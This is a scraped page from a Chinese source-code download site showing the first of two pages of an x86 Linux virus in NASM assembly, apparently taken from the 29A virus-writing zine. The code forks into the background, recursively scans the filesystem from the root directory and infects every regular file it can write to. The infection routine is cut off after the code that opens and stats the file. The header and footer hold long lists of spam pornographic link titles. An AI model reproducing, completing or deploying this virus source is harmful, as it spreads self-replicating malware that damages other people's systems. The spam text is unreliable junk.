亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.018

?? 從29A上收集的病毒源碼
?? 018
?? 第 1 頁 / 共 2 頁
字號:

;(c)Gildo
;
;this source is been written only for accademical purpouses,
;it's not intended for malicious purpouses else I'm not responsable
;of how you'll use it.

;compile with:
;nasm -f elf virus.asm -o virus.o && ld -e main virus.o -o virus
;thanks to Silvio Cesare a lot, I think I'll love him
;thanks to my friends Perikles,uNdErX,d3lta,T00FiC,urgo32,...
;and every programmer not closed mind

%ifdef DEBUG
extern printf
%endif


section .text

global main


main:
	push edx      ;;;;;;;;pointer to func called at atexit()
	push ebp            ;[ebp]=old ebp
	mov ebp,esp 

	;here I fork so I go in background
	mov eax,2
	mov ebx,0
	int 0x80   ;SYS fork()  the background will do the infection
	cmp eax,0
	jne parent
	
	mov eax,24
	int 0x80   ;getuid
	push eax            ;[ebp-4]=uid

	mov eax,47
	int 0x80   ;getgid
	push eax             ;[ebp-8]=gid
	
	sub esp,64           ;[ebp-72]=struct stat

	push dword 0
	push dword 0x2f ;0x2f='/' <-directory root to begin the scan
	;push dword '/aha'
	push dword 7 ;writepermissions 4=readonly,2=write only
	call scan_dir	
	add esp,12

	add esp,64  ;restore stack
	add esp,8   ;restore uid,gid

	;------the child finish
	mov eax,1
	mov ebx,0
	int 0x80   ;exit 
	
   parent:
   	push dword 0x0a297374  
   	push dword 0x6e656d6d 
   	push dword 0x6f632072
   	push dword 0x6f662820
   	push dword 0x6d682e7a
   	push dword 0x7a614a40
   	push dword 0x6f646c69
   	push dword 0x47206c69
   	push dword 0x616d650a 
   	;0x8c from main:
	push dword 0x0a737572 
	push dword 0x6976206f 
	push dword 0x646c6947 
	mov eax,4
	mov ebx,1
	mov ecx,esp
	mov edx,12*4
	int 0x80
	add esp,12*4
   
   parent_process:   ;the parent process jumps here
	pop ebp
	pop edx   ;;;;;;;atexit()

	jmp ahah  ;here overwrite a jump tp old entry point
   ahah:	
	mov eax,1
	mov ebx,0
	int 0x80   ;exit (here I will write a jmp to old entry point)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


scan_dir:
	;push ebp don't change ebp! else how can I access global members form 
	 	; my recursive function?!? So I'll use esp as base pointer
	;mov ebp,esp
	mov esi,esp
	add esi,8 ;point to arg2: filename
	mov edi,esp
	add edi,4 ; point to arg1: 
	;writepermissions (&2==2 if can write for parent directory permissions) 

   %ifdef DEBUG
	push esi     ;;debug esi(arg2)
	push string3a 
	call printf
	add esp,8    ;;
   %endif
   
	xor ecx,ecx ;;debug edi(arg1)
	mov cl,byte [edi]
   %ifdef DEBUG
	push ecx     
	push string10a 
	call printf
	add esp,8    ;;
   %endif
   
	;-----------stack variables
 	sub esp,4    ;fd
 	sub esp,1    ;permissions 00-07
 	sub esp,1    ;file_type 010=regular file,04=directory 
	sub esp,128  ;pathname ;;;TODO:::change to 4095 as linux/limits.h says

	;-----------stat
	mov eax,106
	mov ebx,esi      ;pointer to ascii filename
	mov ecx,ebp
	sub ecx,72   ;ecx=pointer to struct stat
	int 0x80
   %ifdef DEBUG
	push eax     ;;debug
	push string6a 
	call printf
	add esp,4   
	pop eax      ;;
   %endif
	cmp eax,0
	jge c_stat
	jmp error_stat
    c_stat:
    
	;----------verify permissions
	mov ebx,ebp
	sub ebx,72   ;ebx=pointer to struct stat
	mov ax,[ebx+8] ;st_mode	(short)
	mov dx,ax
	;look who owns the permissions
	mov cx,word [ebx+12] ;stat.st_uid 
	cmp word cx,[ebp-4] ;process uid (short)
	je user_permissions
	mov cx,word [ebx+14] ;stat.st_gid
	cmp cx,word [ebp-8]  ;process gid (short)
	je group_permissions
	cmp word [ebp-8],0   ;process gid==0
	je user_permissions
    others_permissions:
	and al,7q ;7q=mask for others	
	jmp c_permissions	
    user_permissions:
	shr ax,6  ;shift right of 6 bits
    	and al,7q
    	jmp c_permissions
    group_permissions:
    	shr ax,3  ;shift right of 3 bits
    	and al,7q
    c_permissions:
	mov byte [esp+128+1],al     ;store file permissions of the user
	xor ecx,ecx ;;;debug permissions
	mov cl,al
   %ifdef DEBUG
	push ecx
	push string5a
	call printf
	add esp,8   ;;
   %endif
	
	;--------verify file type
	mov ebx,ebp
	sub ebx,72   ;ebx=pointer to struct stat
	mov ax,[ebx+8] ;st_mode	(short)
	and ax,170000q ;bit-mask for file-type
	shr ax,12
	mov byte [esp+128],al ;store the file-type
	
	xor ecx,ecx ;;;debug file-type
	mov cl,al
   %ifdef DEBUG
	push ecx
	push string7a
	call printf
	add esp,8   ;;
   %endif

	;decision: if is a regular file->if write perm.-> infect it
	;	   if is a directory->chdir(directory);scan_dir(*);
	mov al,byte [esp+128]
	cmp al,4q 
	je is_directory
	cmp al,10q
	je is_regular_file
	jmp e_scan_dir

   is_regular_file:
	;infect it, the file name is pointed by esi
	mov ecx,[edi] ;;;debug writepermissions
   %ifdef DEBUG
	push ecx
	push string9a
	call printf
	add esp,8   ;;
   %endif

	;if I have write permission of my parent directory and 
	;if the file permissions allow me to write then infect the file
	mov ecx,[edi] ;writepermissions (parentdir)
	and cl,2q 
	cmp cl,2q
	je c1_is_regular_file ;if I have parent permissions
    	jmp e_scan_dir
   c1_is_regular_file:
	mov cl,byte [esp+128+1]    ;look file permissions (of stat)
	and cl,2q
	cmp cl,2q
	je c2_is_regular_file
    	jmp e_scan_dir
   c2_is_regular_file:       ;now I can infect
	call infect_file
	jmp e_scan_dir
	
   is_directory:
	;----------save the current working directory in the stack
	mov eax,183
	mov ebx,esp  ;pathname
	mov ecx,128
	int 0x80     ;SYS getcwd

   %ifdef DEBUG
	push eax  ;;debug getcwd status
	push string12a
	call printf
	add esp,8  ;;
	push esp  ;;debug current dir
	push string11a
	call printf
	add esp,8 ;;;
   %endif
	
	;----------open file descriptor of the directory
	mov eax,5
	mov ebx,esi ;ptr to ascii filename
	mov ecx,0  ;O_RDONLY
	mov edx,0
	int 0x80
	cmp eax,0
	jge c1_is_directory 
	jmp error_opening_file
   c1_is_directory:
	mov [esp+128+2],eax  ;;fd
		
   %ifdef DEBUG
	push dword [esp+128+2] ;;debug fd
	push string4a
	call printf
	add esp,8    ;;
   %endif

	;----------chdir path
	mov eax,12
	mov ebx,esi
	int 0x80  ;SYS chdir	


	;----------readdir
	sub esp,266  ;allocate space for dirent
    l_readdir:
	mov eax,89
	mov ebx,[esp+266+128+2]  ;;fd
	mov ecx,esp     ;ptr to struct dirent 
	mov edx,1       
	int 0x80   ;sys readdir
    	cmp eax,1
    	jne e_l_readdir
	;call scan_dir for every file, 
	;prototipe: scandir(dword [esp+4]=writepermissions,esp+8=ptr to filename) 
	;if dirent.d_name="." or ".." -> skip
	cmp word [esp+10],0x002e ;if == ".\0" skip
	je skip_l_readdir
	cmp word [esp+10],0x2e2e ;if == ".." skip 
	je skip_l_readdir
	;cmp word [esp+10],	
	xor eax,eax
	mov al, [esp+266+128+1] ;directory permissions
	add esp,10 ;dirent.d_name is at offset 10
	push eax
	call scan_dir  ;;;here be recursive
	add esp,4  ;restore writepermissions
	sub esp,10 ;restore dirent.d_name is at offset 10

    skip_l_readdir:
	jmp l_readdir	
    e_l_readdir:    	
	add esp,266  ;restore allocated space for dirent

 	;----------close file descriptor fd
	mov eax,6
	mov ebx,[esp+128+2]  ;;fd
 	int 0x80  ;SYS close
 	
	;----------chdir previous current directory
	mov eax,12
	mov ebx,esp
	int 0x80	

  error_stat:
  error_opening_file:
  e_scan_dir:
	add esp,134  ;restore all allocated stack	
	ret
;end scan_dir



%ifdef DEBUG
string1a: db 'uid=%d',10,0
string2a: db 'gid=%d',10,0
string3a: db 'arg2 passed (filename)=%s',10,0
string4a: db 'fd=%u',10,0
string5a: db 'permissions=%u',10,0
string6a: db 'stat return=%d',10,0
string7a: db 'file-type=%u',10,0
string8a: db 'infecting file: %s',10,0
string9a: db 'writepermissions= %u',10,0
string10a: db 'arg1 passed (wp)=%u',10,0
string11a: db 'current dir=%s',10,0
string12a: db 'getcwd return=%d',10,0
%endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECT


%define VIRUS_SIZE 0x1000
%define STACK2 50


infect_file:
	;the filename to infect is in esi
	;-------------------stack2
	sub esp,STACK2   ;allocate memory     
	mov ebx,esi
	mov [esp+STACK2-44],esi  ;;;;;;;;;;;;;[esp+STACK2-44]=ptr to filename   
	
;;open the file# in: ebx (file-name); out: eax (file descriptor);
open:
	mov eax,5
	mov ecx,2    ;2=O_RDWR ,but I can open O_RDONLY=0 becouse I read only now
	mov edx,0
	int 0x80     ;open file
	cmp eax,0
	jg no_open_error
	jmp open_error  ;error opening file, switch to the next file
    no_open_error:
	mov [esp+STACK2-4],eax    ;;;;;;;;;;;;;;[esp+STACK2-4]=fd  (read-write)   
    %ifdef DEBUG
    	push eax ;;debug
	push string1
	call printf
	add esp,8
    %endif
;;end open


;;ask the kernel the file length, stat struct defined in <asm/stat.h>
;;			stat(const char *file_name, struct stat *buf);
file_length:
	mov eax,106
	mov ebx,esi  ;filename (assume in esi)
	sub esp,64      ;pass stat struct on the stack, alloca size(64)
	mov ecx,esp     ;ecx <- stat struct address
	int 0x80              ;;;SYS stat
	mov eax,[esp+0x14]  ;filesize
	add esp,64      ;restore the stack
	mov [esp+STACK2-8],eax    ;;;;;;;;;;;;;;[esp+STACK2-8]=file length   
    %ifdef DEBUG
        push dword [esp+STACK2-8]

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲天堂免费看| 国产成人小视频| 日韩美女一区二区三区四区| 91在线视频18| 激情五月婷婷综合| 视频一区视频二区中文| 亚洲欧美日韩国产成人精品影院| 欧美成人精品二区三区99精品| 94色蜜桃网一区二区三区| 精品亚洲国产成人av制服丝袜| 午夜精品久久久久久久久久久 | 水蜜桃久久夜色精品一区的特点| 国产精品日产欧美久久久久| 久久久久久一二三区| 日韩一区二区三区电影 | 欧美xxxxxxxx| 欧美挠脚心视频网站| 精品视频一区二区不卡| 欧美系列亚洲系列| 91猫先生在线| 国产一区啦啦啦在线观看| 国产精品一区二区久激情瑜伽| 日本sm残虐另类| 日韩成人午夜电影| 麻豆国产欧美日韩综合精品二区 | 亚洲二区视频在线| 午夜久久久影院| 亚洲精品免费在线播放| 亚洲麻豆国产自偷在线| 亚洲香蕉伊在人在线观| 亚洲一级二级三级在线免费观看| 亚洲尤物视频在线| 亚洲福利视频三区| 日本人妖一区二区| 亚洲国产乱码最新视频| 亚洲一区在线观看免费| 午夜日韩在线观看| 免费xxxx性欧美18vr| 天天影视网天天综合色在线播放| 蜜臀av一区二区在线免费观看| 国产一区欧美一区| 91一区二区在线| 欧美精品自拍偷拍| 26uuu成人网一区二区三区| 久久久久国产成人精品亚洲午夜| 中日韩免费视频中文字幕| 综合久久一区二区三区| 亚洲二区视频在线| 国产suv一区二区三区88区| 色综合久久中文综合久久97| 欧美一区二区视频观看视频| 久久亚洲精品小早川怜子| 日韩一区欧美一区| 久久精品国产免费| 国产91丝袜在线观看| 欧美色爱综合网| 久久精品一区二区三区四区| 一区二区三区在线视频免费 | 在线免费不卡电影| 日韩精品一区二区在线| 亚洲精品视频自拍| 黄一区二区三区| 在线免费一区三区| 国产午夜一区二区三区| 爽好多水快深点欧美视频| 国产成人综合自拍| 91精品啪在线观看国产60岁| **欧美大码日韩| 精品一区二区三区不卡| 欧美午夜精品理论片a级按摩| 久久精品夜色噜噜亚洲aⅴ| 亚洲在线视频免费观看| 国产一区二区三区日韩| 欧美色图在线观看| 国产精品欧美一区二区三区| 蜜桃av噜噜一区二区三区小说| 色欧美日韩亚洲| 欧美精品久久天天躁| 国产精品全国免费观看高清| 经典三级一区二区| 欧美高清www午色夜在线视频| 亚洲欧美自拍偷拍色图| 免费成人av在线播放| 欧美日韩精品专区| 有码一区二区三区| 成人成人成人在线视频| 久久精品一区二区三区不卡牛牛| 日韩极品在线观看| 欧美日韩国产免费| 五月天精品一区二区三区| 色系网站成人免费| 日韩毛片高清在线播放| 成人午夜电影久久影院| 久久亚洲欧美国产精品乐播| 日韩电影在线免费看| 91麻豆精品国产91久久久久 | 精品欧美乱码久久久久久1区2区| 亚洲福利国产精品| 欧美高清激情brazzers| 三级欧美韩日大片在线看| 欧美日韩国产首页在线观看| 中文字幕中文在线不卡住| 波多野结衣亚洲| 综合在线观看色| 色婷婷狠狠综合| 亚洲h在线观看| 欧美精品色综合| 亚洲综合色自拍一区| 91电影在线观看| 午夜精品久久久久久久久| 91精品久久久久久久91蜜桃| 亚洲一区二区欧美| 欧美年轻男男videosbes| 亚洲综合精品久久| 宅男噜噜噜66一区二区66| 伦理电影国产精品| 欧美激情一区二区三区全黄| 91社区在线播放| 午夜激情一区二区三区| 欧美性高清videossexo| 亚洲国产毛片aaaaa无费看| 欧美一区二区三区视频免费播放| 国内一区二区在线| 亚洲色图自拍偷拍美腿丝袜制服诱惑麻豆| 成人午夜电影久久影院| 亚洲国产人成综合网站| 久久精品在线观看| 欧美亚洲动漫另类| 精品亚洲国产成人av制服丝袜| 成人免费在线观看入口| 精品国产免费一区二区三区香蕉| 91九色最新地址| 大白屁股一区二区视频| 另类中文字幕网| 午夜激情综合网| 亚洲综合丁香婷婷六月香| 国产精品久久久久久久裸模| 欧美一卡二卡在线观看| 欧美在线一区二区| 色综合天天综合网天天看片| 成人av午夜电影| 天天操天天综合网| 日韩一区中文字幕| 中文字幕国产一区| 久久久www成人免费无遮挡大片 | 午夜精品aaa| 亚洲日韩欧美一区二区在线| 中文一区二区完整视频在线观看| 宅男噜噜噜66一区二区66| 欧美亚洲禁片免费| 色综合久久99| 91免费视频观看| 波多野结衣一区二区三区| 成人一区二区视频| 国产91精品欧美| 国产成人综合自拍| 国产91精品在线观看| 国产激情91久久精品导航 | 成人h版在线观看| 国产成人av电影免费在线观看| 国产成人精品免费在线| 精品一区二区三区免费观看 | 国产精品美女久久久久久2018| 久久综合久久综合九色| 久久免费视频一区| 国产日韩欧美麻豆| 国产精品久久久一本精品| 国产精品乱人伦一区二区| 自拍av一区二区三区| 亚洲一卡二卡三卡四卡无卡久久 | 日韩激情视频网站| 麻豆91精品视频| 国产专区欧美精品| 成人av电影在线| 欧美性猛片aaaaaaa做受| 在线观看91av| 国产亚洲综合在线| 亚洲日本中文字幕区| 天天免费综合色| 国产一区二区三区在线观看免费 | 日本韩国精品在线| 欧美日韩在线直播| 日韩一级免费一区| 国产亚洲视频系列| 亚洲精品中文在线影院| 奇米影视7777精品一区二区| 精品一区二区三区日韩| 不卡电影一区二区三区| 欧美日韩免费视频| 久久综合色之久久综合| 亚洲六月丁香色婷婷综合久久| 天天av天天翘天天综合网| 国产一区二区影院| 欧美日韩一区二区三区不卡| 久久在线免费观看| 亚洲大片免费看| 福利视频网站一区二区三区| 欧美理论电影在线| 国产精品久久久久久久第一福利| 亚洲成av人**亚洲成av**|